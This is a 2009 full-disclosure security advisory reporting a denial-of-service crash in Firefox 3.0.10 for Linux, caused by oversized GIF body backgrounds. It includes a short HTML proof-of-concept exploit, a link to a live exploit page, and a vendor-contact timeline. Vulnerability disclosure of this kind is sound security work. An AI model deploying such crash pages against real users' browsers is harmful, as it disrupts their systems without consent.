____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_110$2009 -------------------------------------------------------------------------------- [ECHO_ADV_110$2009] Firefox (GNU/Linux version) <= 3.0.10 Denial Of Services -------------------------------------------------------------------------------- Author : Ahmad Muammar W.K (a.k.a) y3dips Date Found : June, 4th 2009 Location : Indonesia, Jakarta web : http://e-rdc.org/v1/news.php?readmore=137 Critical Lvl : Moderated Impact : Browser will automatically shutdown Where : From Remote Disclosure Policy: Full Disclosure Policy (RFPolicy) v2.0 http://www.wiretrip.net/rfp/policy.html -------------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Firefox is a popular Internet browser from the Mozilla Corporation. Application : Firefox for GNU/linux version : Firefox/3.0.10 (X11; Linux i686; U; en) Also affected for lower version (tested for version 3.0.8 at Ubuntu 9.0.4) URL : http://firefox.com Bugzilla entry : https://bugzilla.mozilla.org/show_bug.cgi?id=496265 Description : Firefox 3.0.10 (previous version) for GNU/Linux Operating systems are unable to handle big size of GIF images rendering when it becomes a body backgrounds. Just use a random size GIF files will crash firefox because of HTML body tag. -------------------------------------------------------------------------------- Exploit Code: ~~~~~~~~~~~~~~~~ <!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> live exploit : http://y3dips.echo.or.id/tempe/ff310expl/ -------------------------------------------------------------------------------- Timeline: ~~~~~~~~~ - 20 - 05 - 2009 bug found - 04 - 06 - 2009 vendor contacted and adding entry to bugzilla - 04 - 06 - 2009 vendor response, and there`s a potential patch - 09 - 06 - 2009 advisory release -------------------------------------------------------------------------------- Shoutz: ~~~~~~~ ~ my family (ana my wife and ali my son) ~ the_day, K-159, negative, hero, az001, rey, and also all echo staff ~ janex vind "waraxe", str0ke, chopstick ~ newbie_hacker[at]yahoogroups.com ~ #e-c-h-o @irc.dal.net -------------------------------------------------------------------------------- Contact: ~~~~~~~~ y3dips || echo|staff || y3dips[at]echo[dot]or[dot]id Homepage: http://y3dips.echo.or.id/ -------------------------------- [ EOF ] ---------------------------------------